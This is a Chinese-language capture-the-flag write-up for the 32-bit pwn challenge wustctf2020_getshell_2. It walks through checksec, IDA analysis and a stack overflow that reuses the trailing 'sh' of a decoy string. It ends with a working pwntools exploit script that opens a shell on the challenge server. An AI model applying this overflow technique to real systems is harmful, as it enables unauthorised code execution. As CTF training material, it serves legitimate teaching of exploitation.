wustctf2020_getshell_2
使用checksec
查看:
只开启了栈不可执行,应该和1一样是道栈溢出题目。
放进IDA中查看:
和1一样主函数中给出漏洞函数,漏洞函数中直接一个栈溢出。
但是后门函数并没有直接给出system(/bin/sh)
,而是给了system("/bbbbbbbbin_what_the_f?ck__--??/sh")
这样就不能直接调用后门函数进行getshell。虽然没有给/bin/sh
,但是这串字符串的最后sh
可以用作参数,同样可以获取到shell。
记录下地址:0x08048670
也可以使用ROPgadget
直接找出地址:
但是没法利用system@plt
地址,因为plt地址需要返回值,可溢出的地址位数不够0x24-0x18=0xc
,所以只能用shell()
里的call system
来调用system,call函数不用返回值了,它会自己把下一条指令给压进去
exp:
from pwn import *
#start
r = remote("node4.buuoj.cn",29609)
# r = process("../buu/wustctf2020_getshell_2")
#params
sh_addr = 0x08048670
system_addr = 0x08048529
#attack
payload = b'M'*(0x18+4) + p32(system_addr) + p32(sh_addr)
r.recv()
r.sendline(payload)
r.interactive()